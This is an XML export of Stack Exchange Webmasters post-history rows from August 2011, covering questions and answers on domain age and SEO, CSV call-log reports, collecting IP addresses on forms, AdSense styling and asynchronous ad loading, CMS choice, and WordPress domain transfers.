  <row Id="43911" PostHistoryTypeId="5" PostId="18120" RevisionGUID="66daf949-ef18-4d16-ac3a-5e84ee006ac3" CreationDate="2011-08-12T11:42:27.497" UserId="1643" Comment="typos" Text="Is google still giving weightage for old domain, i.e at least 6 months old?&#xD;&#xA;&#xD;&#xA;I mean I have the best content which is useful for users.&#xD;&#xA;&#xD;&#xA;Do I still have to wait for my domain name to be at least 6 months old?&#xD;&#xA;" />
  <row Id="43912" PostHistoryTypeId="2" PostId="18122" RevisionGUID="5bfe1442-303a-403c-82a6-b4f205387269" CreationDate="2011-08-12T11:47:41.453" UserId="7198" Text="Matt Cutts in [&quot;How much does a domain's age affect its ranking?&quot;][1] [YouTube]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;My short answer is not to worry about that very much. Not very much&#xD;&#xA;&gt; at all, in fact.&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=Y1_1NQWQJ2Q" />
  <row Id="43914" PostHistoryTypeId="2" PostId="18123" RevisionGUID="abc6b333-8a2d-48ad-b7c6-ec9d8e985e3f" CreationDate="2011-08-12T11:51:21.680" UserId="9495" Text="how to find that my written content is unique - in terms of google and user?&#xD;&#xA;&#xD;&#xA;Please help me..with my Question.&#xD;&#xA;&#xD;&#xA;I also want to know whether updating the content or user commenting on that article helps in seo?" />
  <row Id="43915" PostHistoryTypeId="1" PostId="18123" RevisionGUID="abc6b333-8a2d-48ad-b7c6-ec9d8e985e3f" CreationDate="2011-08-12T11:51:21.680" UserId="9495" Text="how to find that my written content is unique - in terms of google and user?" />
  <row Id="43916" PostHistoryTypeId="3" PostId="18123" RevisionGUID="abc6b333-8a2d-48ad-b7c6-ec9d8e985e3f" CreationDate="2011-08-12T11:51:21.680" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;content&gt;&lt;duplicate-content&gt;" />
  <row Id="43917" PostHistoryTypeId="2" PostId="18124" RevisionGUID="766bfd11-16ae-4c33-819a-b2a8a7bbffc8" CreationDate="2011-08-12T12:06:39.000" UserId="1253" Text="[Copyscape][1] can help find content that has also been published on other websites. [Google alerts][2] can tell you when Google  finds content you specify on another website.&#xD;&#xA;&#xD;&#xA;Updating the content won't have a direct effect on SEO as changing content is not a ranking factor. But if you improve the content it may become relevant for search phrases and it may encourage other webmasters to link to it. Of course, this is assuming the content is significantly improved in the update.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.copyscape.com/&#xD;&#xA;  [2]: http://www.google.com/alerts" />
  <row Id="43918" PostHistoryTypeId="5" PostId="18123" RevisionGUID="35a93f90-1cb3-4ddb-9306-946c00c56ff7" CreationDate="2011-08-12T12:07:59.210" UserId="1253" Comment="deleted 37 characters in body" Text="how to find that my written content is unique - in terms of google and user?&#xD;&#xA;&#xD;&#xA;I also want to know whether updating the content or user commenting on that article helps in seo?" />
  <row Id="43919" PostHistoryTypeId="5" PostId="17688" RevisionGUID="da66778d-ad0a-406c-90d3-37152e75180b" CreationDate="2011-08-12T12:12:57.340" UserId="9332" Comment="added 176 characters in body" Text="There is also a site which calculates cloud hosting prices from various providers - [www.cloudorado.com][1]. You can just check how much would cost a server you need from various providers. Amazon is often not the cheapest unless micro instance is used. &#xD;&#xA;&#xD;&#xA;Update: &#xD;&#xA;Here is also an [article which tries to answer exactly the same question][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cloudorado.com/&#xD;&#xA;  [2]: http://blog.cloudorado.com/2011/08/is-amazon-cheapest-cloud-computing.html" />
  <row Id="43920" PostHistoryTypeId="2" PostId="18125" RevisionGUID="953a54d6-ecd6-4ed8-ac53-50459f9c59f2" CreationDate="2011-08-12T12:26:08.970" UserId="5134" Text="We have old Cisco call manager at our office and the call manager generates call history in `.csv` files everyday. and we need to make the call log history report available for managers on web based system.    &#xD;&#xA;&#xD;&#xA;- What tool will help to automatically generate the `.csv` files when the call manager creates the .csv file. &#xD;&#xA;&#xD;&#xA;- Generally what is your advice for me. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks, " />
  <row Id="43921" PostHistoryTypeId="1" PostId="18125" RevisionGUID="953a54d6-ecd6-4ed8-ac53-50459f9c59f2" CreationDate="2011-08-12T12:26:08.970" UserId="5134" Text="Report generator for Cisco call manager" />
  <row Id="43922" PostHistoryTypeId="3" PostId="18125" RevisionGUID="953a54d6-ecd6-4ed8-ac53-50459f9c59f2" CreationDate="2011-08-12T12:26:08.970" UserId="5134" Text="&lt;looking-for-a-script&gt;&lt;web-applications&gt;" />
  <row Id="43923" PostHistoryTypeId="25" PostId="18120" RevisionGUID="f71046b1-6e46-4bd5-9743-09f5687d1ca3" CreationDate="2011-08-12T12:34:20.987" Comment="http://twitter.com/#!/StackWebmasters/status/101994930540515328" />
  <row Id="43924" PostHistoryTypeId="2" PostId="18126" RevisionGUID="88ae4b5c-4ad8-42de-bc2c-d3f1b2cc63fe" CreationDate="2011-08-12T12:53:26.970" UserId="7453" Text="I'm creating a website where I collect the name, email, state, and an optional photo of a user. Before the user submits the form, they have to agree to the terms of the site. For testing and statistics, i'd like to collect IP address and user agents. Do I have to let the user know i'm gathering this on the terms page? " />
  <row Id="43925" PostHistoryTypeId="1" PostId="18126" RevisionGUID="88ae4b5c-4ad8-42de-bc2c-d3f1b2cc63fe" CreationDate="2011-08-12T12:53:26.970" UserId="7453" Text="Is collecting IP address and user agents on form submission illegal?" />
  <row Id="43926" PostHistoryTypeId="3" PostId="18126" RevisionGUID="88ae4b5c-4ad8-42de-bc2c-d3f1b2cc63fe" CreationDate="2011-08-12T12:53:26.970" UserId="7453" Text="&lt;websites&gt;&lt;legal&gt;&lt;forms&gt;&lt;ip-address&gt;&lt;user-agent&gt;" />
  <row Id="43927" PostHistoryTypeId="4" PostId="18126" RevisionGUID="35be5a86-562d-4c29-96ca-c689351b9776" CreationDate="2011-08-12T13:02:12.297" UserId="1253" Comment="modified tags" Text="Is collecting IP address and user agents on form submission illegal in the U.S.?" />
  <row Id="43928" PostHistoryTypeId="6" PostId="18126" RevisionGUID="35be5a86-562d-4c29-96ca-c689351b9776" CreationDate="2011-08-12T13:02:12.297" UserId="1253" Comment="modified tags" Text="&lt;legal&gt;&lt;ip-address&gt;&lt;user-agent&gt;" />
  <row Id="43929" PostHistoryTypeId="5" PostId="18125" RevisionGUID="41e02f25-295f-4f1e-b3a3-e4f38f75b7ee" CreationDate="2011-08-12T13:03:12.720" UserId="1253" Comment="deleted 51 characters in body" Text="We have an old Cisco call manager at our office and the call manager generates a call history report in `.csv` files everyday. We need to make the call log history report available for managers on web based system.    &#xD;&#xA;&#xD;&#xA;What tool will help to automatically generate the `.csv` files when the call manager creates the .csv file?&#xD;&#xA;" />
  <row Id="43930" PostHistoryTypeId="2" PostId="18127" RevisionGUID="6582028f-5358-4b63-b045-fc8d83a83f30" CreationDate="2011-08-12T13:05:15.110" UserId="1253" Text="A basic PERL, PHP, or Python script would be needed to parse it and display the results for you. If you can't find an existing script for parsing those log files then you would need to write one yourself. Fortunately working with CSV files is easy. If you choose to use PHP they have a lot of [built in functions][1] for parsing CSV files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/function.fgetcsv.php" />
  <row Id="43931" PostHistoryTypeId="2" PostId="18128" RevisionGUID="5d88f8bc-0f78-407f-98f9-a5a588ee5246" CreationDate="2011-08-12T13:36:38.990" UserId="9495" Text="How to use low competition keywords with large search volume effectively?&#xD;&#xA;&#xD;&#xA;For example :&#xD;&#xA;&#xD;&#xA;I have keyword phrase &quot;why does the&quot; which produce 368,000 global searches (searxch type : phrase in google keyword tool). This keyword has 1% competition.&#xD;&#xA;&#xD;&#xA;I want to know what can I do with this keyword.&#xD;&#xA;&#xD;&#xA;NOTE: The phrase is the starting phrase, ex: why does the sun shine?, why does the moon's color white?&#xD;&#xA;why does the sky blue?" />
  <row Id="43932" PostHistoryTypeId="1" PostId="18128" RevisionGUID="5d88f8bc-0f78-407f-98f9-a5a588ee5246" CreationDate="2011-08-12T13:36:38.990" UserId="9495" Text="How to use low competition keywords with large search volume effectively?" />
  <row Id="43933" PostHistoryTypeId="3" PostId="18128" RevisionGUID="5d88f8bc-0f78-407f-98f9-a5a588ee5246" CreationDate="2011-08-12T13:36:38.990" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;&lt;seo-friendly&gt;" />
  <row Id="43934" PostHistoryTypeId="2" PostId="18129" RevisionGUID="77bff814-c98a-40af-8bf9-11c455c63c7e" CreationDate="2011-08-12T13:44:03.790" UserId="1253" Text="You probably can't do anything with that keyword. It's **very** broad. This gives you a couple of problems:&#xD;&#xA;&#xD;&#xA;1. Unless you have a lot of content related to why things do what they do you will have users arrive at your site only to find that the content they are looking for is not there. That will produce a high bounce rate. It also will not encourage other webmasters to link to your site which is important for SEO.&#xD;&#xA;&#xD;&#xA;2. The 1% figure you have is bogus. No one may target that exact phrase but you can be sure there are a lot of sites targeting phrases that include &quot;why does the&quot; in them. As a result they will ranking well for their search phrase *and* &quot;why does the&quot; by extension since the page's content and incoming links will include that phrase.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43935" PostHistoryTypeId="4" PostId="18119" RevisionGUID="19a8c861-c494-45cd-a63b-06a14fb226ae" CreationDate="2011-08-12T13:45:40.960" UserId="9204" Comment="edited title" Text="What is a CSS form? How does one embed an asense ad into a css form?" />
  <row Id="43936" PostHistoryTypeId="2" PostId="18130" RevisionGUID="1874a816-8d20-482a-b74c-7c41cc1ee89e" CreationDate="2011-08-12T13:53:05.793" UserId="1643" Text="A stackexchange style forum would be appropriate for this site (although there are many many other support forums out there). For a list of clones see this [meta.stackexchange.com][1] answer. The stackexchange model is designed around users helping users, but if your staff can take part then that's even better. If I were you I'd tweak the code so that users that are staff are clearly identified as such.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/2267/stack-overflow-clones" />
  <row Id="43937" PostHistoryTypeId="2" PostId="18131" RevisionGUID="3aac76af-ae42-4521-94f9-208d4eee1167" CreationDate="2011-08-12T14:02:37.607" UserId="7198" Text="It's a typo (or it's badly phrased). There's no such thing as a &quot;CSS form&quot;. What they mean is this:&#xD;&#xA;&#xD;&#xA;**&quot;Use *the* CSS form to embed the ad unit for [a] more seamless design.&quot;**&#xD;&#xA;&#xD;&#xA;When you create an ad unit in the AdSense control panel, there's an &quot;Ad style&quot; form that lets you control the CSS styles like the one pictured below. This is probably what they're referring to. Changing these values to affect the style of the AdSense block is likely to have an effect on your revenue.&#xD;&#xA;&#xD;&#xA;Confusingly, Google suggest that both [making ads stand out](http://adsense.blogspot.com/2006/08/colors-that-make-cents-and-dollars.html) and [making ads blend in](http://adsense.blogspot.com/2006/05/unobtrusive-ads-can-boost-revenue.html) will boost your AdSense revenue, so it's probably best to experiment with both and form your own conclusion based on your site design and audience.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![Ad style css form][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/7aJjo.png" />
  <row Id="43938" PostHistoryTypeId="5" PostId="18119" RevisionGUID="7ad118ed-ec93-4230-93a5-d54ea73612fc" CreationDate="2011-08-12T14:04:11.557" UserId="7198" Comment="deleted 58 characters in body; edited title" Text="One of the [Google AdSense optimization tips](http://www.google.com/support/adsense/bin/static.py?page=guide.cs&amp;guide=30000&amp;topic=30002&amp;answer=187706) says to, &quot;Use a CSS form to embed the ads unit for more seamless design.&quot; What does this mean? How does one implement a CSS form?&#xD;&#xA;" />
  <row Id="43939" PostHistoryTypeId="4" PostId="18119" RevisionGUID="7ad118ed-ec93-4230-93a5-d54ea73612fc" CreationDate="2011-08-12T14:04:11.557" UserId="7198" Comment="deleted 58 characters in body; edited title" Text="What is a CSS form? How does one embed an AdSense ad into a CSS form?" />
  <row Id="43940" PostHistoryTypeId="25" PostId="17038" RevisionGUID="e36d1497-ceca-470c-b2ea-971bc86d015e" CreationDate="2011-08-12T14:34:22.107" Comment="http://twitter.com/#!/StackWebmasters/status/102025133497131009" />
  <row Id="43941" PostHistoryTypeId="5" PostId="18125" RevisionGUID="7786283e-e02b-49f9-aca2-85a7f26c2c29" CreationDate="2011-08-12T14:39:34.780" UserId="1643" Comment="tweak in light of clarifying comment" Text="We have an old Cisco call manager at our office and the call manager generates a call history report in `.csv` files everyday. We need to make the call log history report available for managers on web based system.    &#xD;&#xA;&#xD;&#xA;What tool will help to automatically generate web pages for the `.csv` files when the call manager creates the .csv file?&#xD;&#xA;" />
  <row Id="43942" PostHistoryTypeId="2" PostId="18132" RevisionGUID="c9b52d39-54ea-4060-b5cf-866ddad37626" CreationDate="2011-08-12T14:48:36.170" UserId="1643" Text="You could open the csv file in Excel and save as .html. If you want it done automatically you can do this with VBA:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Workbooks.Open (&quot;export.csv&quot;)&#xD;&#xA;    Workbooks(&quot;export.csv&quot;).SaveAs &quot;export.html&quot;, xlHtml&#xD;&#xA;&#xD;&#xA;" />
  <row Id="43943" PostHistoryTypeId="2" PostId="18133" RevisionGUID="e73f848b-fa27-4397-82ae-87f2fccc320d" CreationDate="2011-08-12T14:50:33.017" UserId="8130" Text="If your site is centered on this single question &quot;why does the...&quot;, you could name it like this. A domain name like `www.why-does-the.org` would probably make your site interesting for such queries." />
  <row Id="43944" PostHistoryTypeId="2" PostId="18134" RevisionGUID="e560db8f-cd4a-43c5-b3d6-256da7d5b4a2" CreationDate="2011-08-12T15:19:00.787" UserId="9550" Text="this does it:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&lt;!--&#xD;&#xA;    // dynamically Load Ads out-of-band&#xD;&#xA;    setTimeout((function ()&#xD;&#xA;    {&#xD;&#xA;    	// placeholder for ads&#xD;&#xA;            var eleAds = document.createElement(&quot;ads&quot;);  &#xD;&#xA;            // dynamic script element&#xD;&#xA;            var eleScript = document.createElement(&quot;script&quot;);  &#xD;&#xA;            // remember the implementation of document.write function&#xD;&#xA;            w = document.write;&#xD;&#xA;            // override and replace with our version&#xD;&#xA;            document.write = (function(params)&#xD;&#xA;            {&#xD;&#xA;    		// replace our placeholder with real ads&#xD;&#xA;    		eleAds.innerHTML = params;&#xD;&#xA;    		// put the old implementation back in place&#xD;&#xA;    		document.write=w;&#xD;&#xA;            });&#xD;&#xA;            // setup the ads script element&#xD;&#xA;            eleScript.setAttribute(&quot;type&quot;, &quot;text/javascript&quot;);&#xD;&#xA;            eleScript.setAttribute(&quot;src&quot;, &quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&quot;);&#xD;&#xA;            // add the two elements, causing the ads script to run&#xD;&#xA;            document.body.appendChild(eleAds);              &#xD;&#xA;            document.body.appendChild(eleScript);           &#xD;&#xA;    }), 1);&#xD;&#xA;                    //--&gt;&#xD;&#xA;            &lt;/script&gt; &#xD;&#xA;&#xD;&#xA;see this blog item &quot;[Google Ads Async (asynchronous)][1]&quot;  basically I've found a way to get the ad code to run truly async..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.figmentengine.com/2011/08/google-ads-async-asynchronous.html" />
  <row Id="43945" PostHistoryTypeId="2" PostId="18135" RevisionGUID="29c0c370-376b-45d5-a58a-77d77b81c480" CreationDate="2011-08-12T15:19:07.757" UserId="5809" Text="I am thinking to use Chitika with my existing AdSense to increase revenue.  Has anyone here done this?  What are your experiences with it?&#xD;&#xA;&#xD;&#xA;How much extra revenue can be earned? Is there an example of some pages people can link to to show me a page with Chitika ads?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;- Alex" />
  <row Id="43946" PostHistoryTypeId="1" PostId="18135" RevisionGUID="29c0c370-376b-45d5-a58a-77d77b81c480" CreationDate="2011-08-12T15:19:07.757" UserId="5809" Text="Is it a good idea to use Chitika?" />
  <row Id="43947" PostHistoryTypeId="3" PostId="18135" RevisionGUID="29c0c370-376b-45d5-a58a-77d77b81c480" CreationDate="2011-08-12T15:19:07.757" UserId="5809" Text="&lt;advertising&gt;&lt;revenue&gt;" />
  <row Id="43948" PostHistoryTypeId="10" PostId="18135" RevisionGUID="9ba28f5c-d142-4aff-80ac-bf75a2d6f7d6" CreationDate="2011-08-12T15:26:49.767" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43949" PostHistoryTypeId="2" PostId="18136" RevisionGUID="8cd38d85-d0d2-474a-90d2-18d29ec25f8e" CreationDate="2011-08-12T15:37:49.117" UserId="7159" Text="Matt Cutts says a lot of things.  It is my experience that my aged domains perform better.  Having said that, I can not guarantee it is from the age or the amount of links the site has achieved over time, but I can say that I can pick up a new keyword on an aged domain much faster than a new domain." />
  <row Id="43950" PostHistoryTypeId="2" PostId="18137" RevisionGUID="545973f8-f064-483c-ac8e-db8b1792c573" CreationDate="2011-08-12T15:51:22.490" UserId="5806" Text="Search engines may give weight to *domain age* but I assure it is **nothing** compared to the *impact of the domain being that old*.&#xD;&#xA;&#xD;&#xA;Since older domains have had more time to accumulate links and links are primordial to rankings, older domains frequently fair better compared to a newer competing domain.&#xD;&#xA;&#xD;&#xA;One aspect is user habit formed by knowing a domain for a long time. In order to displace an older domain in the same market you need to have more that just better content but a vastly different angle on the same topic and, even so, so you be fighting upstream." />
  <row Id="43951" PostHistoryTypeId="2" PostId="18138" RevisionGUID="ac45af01-feb4-4870-aa69-3f5dd0c0876c" CreationDate="2011-08-12T16:33:26.013" UserId="9552" Text="First little background - working on a e-learning startup. We are going to have recorded video lectures from professors ranging from 30-45 minutes long which are going to be accessible to students once they register and pay for the course. Hence these are private videos.&#xD;&#xA;I have a couple of questions which I'll appreciate if you can throw some light&#xD;&#xA;&#xD;&#xA;1) What is the best format to save these videos in - FLV or MP4 or ???&#xD;&#xA;- I'm leaning towards MP4 as FLV videos wont play on Ipad and iphones&#xD;&#xA;&#xD;&#xA;2) Most importantly where do I host these video files. Should we host them on our servers or use 3rd party video hosting. I'm inclined towards 3rd party cos that will reduce the load on our servers and video streaming experience would be better for users.&#xD;&#xA;&#xD;&#xA;3) If I go for video hosting - what are my options? I can't use youtube cos they don't offer domain control. Vimeo does offer privacy of domain control but I don't think I can use that for commercial purpose. Someone mentioned bitgravity but I havent checked that out. Any good suggestions that will be good for my usage.&#xD;&#xA;&#xD;&#xA;Thanks a lot" />
  <row Id="43952" PostHistoryTypeId="1" PostId="18138" RevisionGUID="ac45af01-feb4-4870-aa69-3f5dd0c0876c" CreationDate="2011-08-12T16:33:26.013" UserId="9552" Text="Host Private videos on my site or use third party video hosting" />
  <row Id="43953" PostHistoryTypeId="3" PostId="18138" RevisionGUID="ac45af01-feb4-4870-aa69-3f5dd0c0876c" CreationDate="2011-08-12T16:33:26.013" UserId="9552" Text="&lt;web-hosting&gt;&lt;video&gt;&lt;streaming&gt;" />
  <row Id="43954" PostHistoryTypeId="25" PostId="18114" RevisionGUID="2ae959d6-2233-48d0-9021-0ef1f002faa9" CreationDate="2011-08-12T16:34:22.660" Comment="http://twitter.com/#!/StackWebmasters/status/102055333773590528" />
  <row Id="43955" PostHistoryTypeId="2" PostId="18139" RevisionGUID="338e72e5-71e5-467e-91a1-a8bd4150cf81" CreationDate="2011-08-12T17:01:47.950" UserId="4142" Text="As paulmorriss mentioned in the comments, most major web servers do this automatically anyways, with their server logs. These logs contain UA strings, IP addresses, and much more.&#xD;&#xA;&#xD;&#xA;I don't know of any law on the books that would explicitly forbid this, but I would say that you should probably include in the Terms of Service the fact that you collect this information for statistical purposes." />
  <row Id="43956" PostHistoryTypeId="2" PostId="18140" RevisionGUID="08c9111e-7c0e-4e30-99b9-ff23d479cd28" CreationDate="2011-08-12T17:18:04.130" UserId="5806" Text="**Major search engines do this too.**&#xD;&#xA;&#xD;&#xA;After a period (between 6 and 18 months), logs have all the IPs replaced by another unique identifier generated randomly for each IP. That way you can measure user behavior without identifying the user.&#xD;&#xA;&#xD;&#xA;You can do this immediately instead by converting IPs into something else using a hash and tagging with Geo-Location information (for example). That way you do not keep user's actual IP but you have enough information to do the certain types of analysis." />
  <row Id="43957" PostHistoryTypeId="2" PostId="18141" RevisionGUID="42008b42-cbbb-4e14-98b3-2ef1d27498a3" CreationDate="2011-08-12T18:05:45.630" UserId="9553" Text="Which is the best cms for a hosting provider website?&#xD;&#xA;&#xD;&#xA;1. Wordress (Is this Not fit for websites?)&#xD;&#xA;&#xD;&#xA;2. Joomla (low security)&#xD;&#xA;&#xD;&#xA;3. PHP Coded pages &#xD;&#xA;&#xD;&#xA;4. Drupal " />
  <row Id="43958" PostHistoryTypeId="1" PostId="18141" RevisionGUID="42008b42-cbbb-4e14-98b3-2ef1d27498a3" CreationDate="2011-08-12T18:05:45.630" UserId="9553" Text="Best cms for hosting website?" />
  <row Id="43959" PostHistoryTypeId="3" PostId="18141" RevisionGUID="42008b42-cbbb-4e14-98b3-2ef1d27498a3" CreationDate="2011-08-12T18:05:45.630" UserId="9553" Text="&lt;web-hosting&gt;&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="43960" PostHistoryTypeId="2" PostId="18142" RevisionGUID="8f681484-2f39-43f2-9399-9847f0e3e90e" CreationDate="2011-08-12T18:12:55.777" UserId="9554" Text="It depends largely on the content. In my experience, Drupal has been very versatile and easily extendable.  Drupal should be suitable, depending on your needs.&#xD;&#xA;&#xD;&#xA;I personally don't like WordPress; I think it's over-hyped. I find it to be very insecure and poorly designed." />
  <row Id="43961" PostHistoryTypeId="5" PostId="18141" RevisionGUID="f11d91b7-bcb9-496a-a674-cfb4d62d7e0b" CreationDate="2011-08-12T18:13:59.443" UserId="1253" Comment="modified tags, title" Text="Which is the best CMS for a hosting provider website?&#xD;&#xA;&#xD;&#xA;1. Wordress (Is this Not fit for websites?)&#xD;&#xA;&#xD;&#xA;2. Joomla (low security)&#xD;&#xA;&#xD;&#xA;3. PHP Coded pages &#xD;&#xA;&#xD;&#xA;4. Drupal " />
  <row Id="43962" PostHistoryTypeId="4" PostId="18141" RevisionGUID="f11d91b7-bcb9-496a-a674-cfb4d62d7e0b" CreationDate="2011-08-12T18:13:59.443" UserId="1253" Comment="modified tags, title" Text="Best content management system for a web hosting provider website?" />
  <row Id="43963" PostHistoryTypeId="6" PostId="18141" RevisionGUID="f11d91b7-bcb9-496a-a674-cfb4d62d7e0b" CreationDate="2011-08-12T18:13:59.443" UserId="1253" Comment="modified tags, title" Text="&lt;cms&gt;" />
  <row Id="43964" PostHistoryTypeId="25" PostId="18126" RevisionGUID="32968768-738e-4714-8873-48608798db81" CreationDate="2011-08-12T18:34:22.650" Comment="http://twitter.com/#!/StackWebmasters/status/102085535060856832" />
  <row Id="43965" PostHistoryTypeId="2" PostId="18143" RevisionGUID="dd1022b9-2ffe-4788-a7ef-49a3e43237d2" CreationDate="2011-08-12T18:53:20.337" UserId="9555" Text="Wordpress offers this service for $120, but i think that's too much. Is there an easy way to do this besides paying the wordpress guys a bunch of money. I'm just not sure of of all the steps i need to do in order to get my domain moved. This includes moving the domain as well as export and moving my content. &#xD;&#xA;&#xD;&#xA;Also I'm transfering to (mt) because I want to host other sites as well and i want them in one place. &#xD;&#xA;" />
  <row Id="43966" PostHistoryTypeId="1" PostId="18143" RevisionGUID="dd1022b9-2ffe-4788-a7ef-49a3e43237d2" CreationDate="2011-08-12T18:53:20.337" UserId="9555" Text="How do you transfer a domain hosted on wordpress to Media Temple?" />
  <row Id="43967" PostHistoryTypeId="3" PostId="18143" RevisionGUID="dd1022b9-2ffe-4788-a7ef-49a3e43237d2" CreationDate="2011-08-12T18:53:20.337" UserId="9555" Text="&lt;domains&gt;&lt;wordpress&gt;&lt;mediatemple&gt;" />
  <row Id="43968" PostHistoryTypeId="5" PostId="18143" RevisionGUID="5db7be94-972b-4aad-9a7d-d48daf458136" CreationDate="2011-08-12T19:00:41.470" UserId="1253" Comment="minor text edits" Text="WordPress offers this service for $120, but I think that's too much. Is there an easy way to do this besides paying the wordpress guys a bunch of money? I'm just not sure of of all the steps i need to do in order to get my domain moved. This includes moving the domain as well as export and moving my content. &#xD;&#xA;&#xD;&#xA;Also I'm transfering to Media Template because I want to host other sites as well and I want them in one place. &#xD;&#xA;" />
  <row Id="43969" PostHistoryTypeId="4" PostId="18143" RevisionGUID="5db7be94-972b-4aad-9a7d-d48daf458136" CreationDate="2011-08-12T19:00:41.470" UserId="1253" Comment="minor text edits" Text="How do you transfer a domain hosted on WordPress to Media Temple?" />
  <row Id="43973" PostHistoryTypeId="2" PostId="18145" RevisionGUID="ec362f64-d3d8-435f-8741-3c9246a60c2e" CreationDate="2011-08-12T19:09:07.840" UserId="9557" Text="How do I share Gmail task lists? Not emailing task lists, but sharing them, like a Google Doc or Google calendar. I don't know if this is the right place, but please move it if needed." />
  <row Id="43974" PostHistoryTypeId="1" PostId="18145" RevisionGUID="ec362f64-d3d8-435f-8741-3c9246a60c2e" CreationDate="2011-08-12T19:09:07.840" UserId="9557" Text="Sharing Gmail task lists" />
  <row Id="43975" PostHistoryTypeId="3" PostId="18145" RevisionGUID="ec362f64-d3d8-435f-8741-3c9246a60c2e" CreationDate="2011-08-12T19:09:07.840" UserId="9557" Text="&lt;google&gt;&lt;gmail&gt;" />
  <row Id="43976" PostHistoryTypeId="14" PostId="17853" RevisionGUID="7bf68d13-7d18-461d-be8e-36750fac89e2" CreationDate="2011-08-12T19:09:36.530" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="43977" PostHistoryTypeId="17" PostId="17853" RevisionGUID="3dce0865-9706-4ae6-a7e9-cc6513e0c59c" CreationDate="2011-08-12T19:09:36.547" UserId="1253" Comment="to http://sharepoint.stackexchange.com/questions/17778/social-plugins-for-sharepoint-foundations" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43978" PostHistoryTypeId="10" PostId="17853" RevisionGUID="b1e5e6d9-f1c3-4504-8990-9aea3128b490" CreationDate="2011-08-12T19:09:34.143" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43979" PostHistoryTypeId="5" PostId="18145" RevisionGUID="131d8711-0e79-4120-aef4-82e35f307452" CreationDate="2011-08-12T19:13:48.857" UserId="1253" Comment="minor text edits" Text="How do I share Gmail task lists? Not emailing task lists, but sharing them, like a Google Doc or Google calendar. " />
  <row Id="43980" PostHistoryTypeId="6" PostId="18145" RevisionGUID="131d8711-0e79-4120-aef4-82e35f307452" CreationDate="2011-08-12T19:13:48.857" UserId="1253" Comment="minor text edits" Text="&lt;google&gt;&lt;gmail&gt;&lt;google-tasks&gt;" />
  <row Id="43981" PostHistoryTypeId="14" PostId="18145" RevisionGUID="ff993c7f-0857-41d3-b23a-4d6110f4732f" CreationDate="2011-08-12T19:14:02.727" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="43982" PostHistoryTypeId="17" PostId="18145" RevisionGUID="f43194b1-bd94-4d10-8880-983ca64604bc" CreationDate="2011-08-12T19:14:02.740" UserId="1253" Comment="to http://webapps.stackexchange.com/questions/18063/sharing-gmail-task-lists" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43983" PostHistoryTypeId="10" PostId="18145" RevisionGUID="4c372121-b1a4-4411-a2cd-3b86afa649da" CreationDate="2011-08-12T19:14:01.913" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="43984" PostHistoryTypeId="17" PostId="18146" RevisionGUID="484c5981-2821-450f-af36-9bd75eba445b" CreationDate="2011-08-12T19:15:50.163" UserId="-1" Comment="from http://stackoverflow.com/questions/7019151/footer-problems-with-blogger" Text="" />
  <row Id="43985" PostHistoryTypeId="2" PostId="18146" RevisionGUID="e46a6c3f-bf60-47a9-87e9-74787e3233c7" CreationDate="2011-08-10T23:25:29.320" UserId="9557" Text="I am having some problems with the footer on my blog. Take a look at it &lt;a href=&quot;http://www.thegeektechblog.blogspot.com&quot;&gt;here.&lt;/a&gt; Right above the footer, there is a blank, black space with nothing in it. Above it is the feed url, but it isn't on the black background, it's on the background image of my blog. I code HTML and CSS, so I can apply custom rules, but the system is so complex that I don't know what to change. Any suggestions?" />
  <row Id="43986" PostHistoryTypeId="1" PostId="18146" RevisionGUID="e46a6c3f-bf60-47a9-87e9-74787e3233c7" CreationDate="2011-08-10T23:25:29.320" UserId="9557" Text="Footer problems with Blogger" />
  <row Id="43987" PostHistoryTypeId="3" PostId="18146" RevisionGUID="e46a6c3f-bf60-47a9-87e9-74787e3233c7" CreationDate="2011-08-10T23:25:29.320" UserId="9557" Text="&lt;blogger&gt;" />
  <row Id="43989" PostHistoryTypeId="5" PostId="18146" RevisionGUID="725b408a-7345-406e-88a9-5a99e12b8215" CreationDate="2011-08-12T19:26:19.303" UserId="9557" Comment="added image" Text="I am having some problems with the footer on my blog. Take a look at it &lt;a href=&quot;http://www.thegeektechblog.blogspot.com&quot;&gt;here.&lt;/a&gt; Right above the footer, there is a blank, black space with nothing in it. Above it is the feed url, but it isn't on the black background, it's on the background image of my blog. I code HTML and CSS, so I can apply custom rules, but the system is so complex that I don't know what to change. Any suggestions?&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/bAY4K.png" />
